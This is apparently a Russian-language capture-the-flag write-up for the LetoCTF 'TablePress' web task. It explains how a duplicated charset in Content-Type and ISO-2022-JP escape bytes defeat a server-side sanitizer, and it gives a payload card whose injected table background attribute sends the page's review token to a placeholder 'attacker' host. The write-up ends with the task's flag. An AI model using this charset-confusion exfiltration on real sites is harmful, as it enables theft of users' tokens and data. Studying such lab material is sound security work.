TablePress | LetoCTF web write-up

TablePress | LetoCTF web write-up

LetoCTF write-up

В задании дают исходники сервиса, поднятый сервис и review-бота:

Service: http://178.170.193.88:3000
Bot:     http://178.170.193.88:3001

Про бота известно немного: он использует Firefox. На странице бота есть две формы: отправить preview URL на проверку и отправить review token в /claim.

С чего начинаем

Сервис выглядит как обычная тулза для таблиц: регистрируемся, создаем таблицу, смотрим preview, скачиваем CSV.

Интересная часть начинается с API-импорта:

POST /api/cards
GET  /card/:id

В api.js импорт проверяет Content-Type:

const media = parseImportMedia(rawHeader);
if (media.importCharset !== 'utf-8') {
  return res.status(415).json({ error: 'invalid import media parameters' });
}

То есть сервис как будто принимает только UTF-8. Но сразу ниже он сохраняет charset в карточку:

card.charset = cleanEncodingLabel(media.parameters.charset || 'utf-8');

И вот здесь появляется проблема: media.importCharset и media.parameters.charset берутся разными способами.

Два разных charset

В http.js есть ручной парсер параметров:

function mediaParameters(value) {
  return String(value || '')
    .split(';')
    .slice(1)
    .map(...)
}

function preferredParameter(parameters, key) {
  const found = parameters.find(([name]) => name === key);
  return found ? found[1] : '';
}

Он просто режет заголовок по ; и берет первый параметр charset.

Но рядом используется библиотека content-type:

const parsed = contentType.parse(raw);

И уже из результата этой библиотеки потом берется media.parameters.charset.

Получается рассинхрон. Если отправить два charset подряд:

Content-Type: application/x-tablepress+json; charset=utf-8; charset=iso-2022-jp

то проверка увидит первый charset=utf-8 и пропустит импорт, а в карточку сохранится другой charset: iso-2022-jp.

Почему это превращается в XSS

Preview отдается так:

res.setHeader('Content-Type', `text/html; charset=${cleanEncodingLabel(card.charset)}`);
res.send(Buffer.from(html, 'utf8'));

То есть сервер собирает HTML как обычную UTF-8 строку, но в заголовке может сказать браузеру: "декодируй это как iso-2022-jp".

Для большинства кодировок это было бы просто странно. Но ISO-2022-JP особенная: она stateful. Внутри текста можно байтами переключать режим декодера:

ESC $ B    перейти в JIS X 0208
ESC ( B    вернуться в ASCII

Пока браузер находится в JIS-режиме, ASCII-байты начинают читаться парами как японские символы. Это значит, что байты вроде ", <, >, /, пробелы и другие куски HTML могут перестать быть HTML-синтаксисом и превратиться в обычный текст после декодирования.

Главная идея атаки:

1. Включить JIS-режим внутри HTML-тега.
2. Дать браузеру "съесть" часть настоящей разметки как текст.
3. Вернуться в ASCII в удобном месте.
4. Продолжить HTML-тег уже своими байтами.

Так мы ломаем не строку на сервере, а то, как Firefox позже превратит байты ответа в HTML.

Почему sanitizer не спасает

В сервисе действительно есть санитайзинг. В normalizeCard() пользовательские поля проходят через sanitizeDefault():

title: sanitizeDefault(input.title || 'Импортированная таблица'),
exportName: sanitizeDefault(input.exportName || 'clean-table'),
...
rows: rowsInput.map(...)

И в некоторых местах есть escapeHtml() / escapeAttr().

Но это не помогает, потому что sanitizer работает на уже готовой JavaScript-строке в Unicode. Для него наши данные выглядят примерно так:

ESC $ B
ESC ( B" background="https://attacker/leak?x=

Здесь нет нормального <script>, нет тега <img>, нет явного HTML, который надо удалить. Кавычки и угловые скобки в большинстве мест либо безопасны как текст, либо будут экранированы.

Проблема происходит позже:

server-side sanitizer видит Unicode-строку
        ↓
сервер собирает безопасный HTML
        ↓
сервер отправляет байты как UTF-8
        ↓
браузер декодирует эти байты как ISO-2022-JP
        ↓
HTML-токенизатор получает уже другую строку

То есть sanitizer проверял одну картину мира, а браузер парсит другую.

Куда вставляться

В preview.js таблица собирается так:

function renderGrid(card) {
  const attrs = renderAttrs({
    class: 'grid',
    role: 'grid',
    'data-export-name': card.exportName,
    ...
  });
  return `<table ${attrs}>...`;
}

Поле exportName попадает в атрибут <table data-export-name="...">.

Если положить в exportName:

\x1b$B

то Firefox при декодировании включит JIS-режим прямо внутри открывающего тега <table>.

Дальше нам нужно где-то вернуть ASCII. Удобно сделать это в одной из ячеек таблицы:

\x1b(B" background="https://attacker/leak?x=

После возврата в ASCII браузер все еще считает, что он находится внутри тега <table>, потому что закрывающая кавычка и > были "съедены" JIS-декодером как обычные символы.

В результате кусок:

" background="https://attacker/leak?x=

становится новым атрибутом таблицы.

В Firefox старый атрибут background у <table> приводит к загрузке внешнего ресурса. Это удобно: не нужен JavaScript, достаточно заставить браузер сделать GET-запрос на наш сервер.

Откуда берется review token

В preview есть скрытая заметка для review-токена:

function shouldRenderReviewNote(card) {
  return isReadyStatus(card.status)
    && card.rows.length >= 3
    && card.columns.length >= 3
    && card.paperStyle !== 'linen'
    && card.tags.some((tag) => ['final', 'publish', 'review', 'проверка'].includes(String(tag).toLowerCase()));
}

Если карточка подходит под условия и запрос пришел с review token, сервис добавляет в DOM:

return `<template hidden data-queue=review data-batch=${batch} data-review-token=${escapeAttr(value)}>review-token:${escapeHtml(value)}</template>`;

Из исходников сервиса видно только проверку preview cookie, но сам бот не выдан. По интерфейсу бота понятно, что он принимает preview URL и потом принимает review token в /claim.

Значит задача такая: заставить Firefox-бота открыть нашу карточку и слить кусок DOM, где лежит review-token.

Карточка для атаки

Нужна карточка, которая пройдет условие shouldRenderReviewNote():

status = Ready
rows >= 3
columns >= 3
paperStyle != linen
tags содержит publish / review / final / проверка

Пример JSON:

{
  "title": "export preview",
  "workspace": "review queue",
  "source": "legacy api import",
  "status": "Ready",
  "tags": ["publish"],
  "exportName": "\u001b$B",
  "recipe": "trim",
  "paperStyle": "mint",
  "spacerRows": 0,
  "columns": [
    {"label": "item", "width": 160},
    {"label": "qty", "width": 80},
    {"label": "value", "width": 10}
  ],
  "rows": [
    ["alpha", "1", "beta"],
    ["delta", "2", "gamma"],
    ["omega", "3", "\u001b(B\" background=\"https://attacker/leak?x="]
  ]
}

Отправлять нужно именно через API, чтобы можно было задать двойной Content-Type:

POST /api/cards
Content-Type: application/x-tablepress+json; charset=utf-8; charset=iso-2022-jp

Неприятная часть с выравниванием

ISO-2022-JP в режиме JIS X 0208 читает байты парами. Поэтому ESC ( B должен начаться на правильной границе.

Если граница не сошлась, Firefox не воспримет ESC ( B как возврат в ASCII, и атрибут background не появится.

Это не нужно решать вручную. Достаточно перебрать несколько параметров, которые меняют длину HTML между ESC $ B и ESC ( B:

длина первой ячейки
spacerRows
width у колонок

Проверка локально простая:

enter = raw.find(b"\x1b$B")
leave = raw.find(b"\x1b(B", enter + 3)
aligned = enter != -1 and leave != -1 and (leave - (enter + 3)) % 2 == 0

Когда условие четности выполнено, payload должен сработать в Firefox.

Утечка

Дальше отправляем боту preview URL:

http://178.170.193.88:3000/card/<id>

Бот открывает страницу в Firefox. Из-за сохраненного charset=iso-2022-jp браузер по-другому декодирует HTML, получает инъектированный background и делает запрос на наш сервер.

В URL утекает хвост DOM. Среди него будет примерно такое:

<template hidden data-queue=review data-batch=... data-review-token=TOKEN>review-token:TOKEN</template>

Получение флага

Осталось отправить token на бота:

POST http://178.170.193.88:3001/claim
token=<leaked token>

Если token правильный, бот возвращает флаг.

Флаг

letoctf{h0w_d1dU_m4N4g3_2_D0_tH47}

Report Page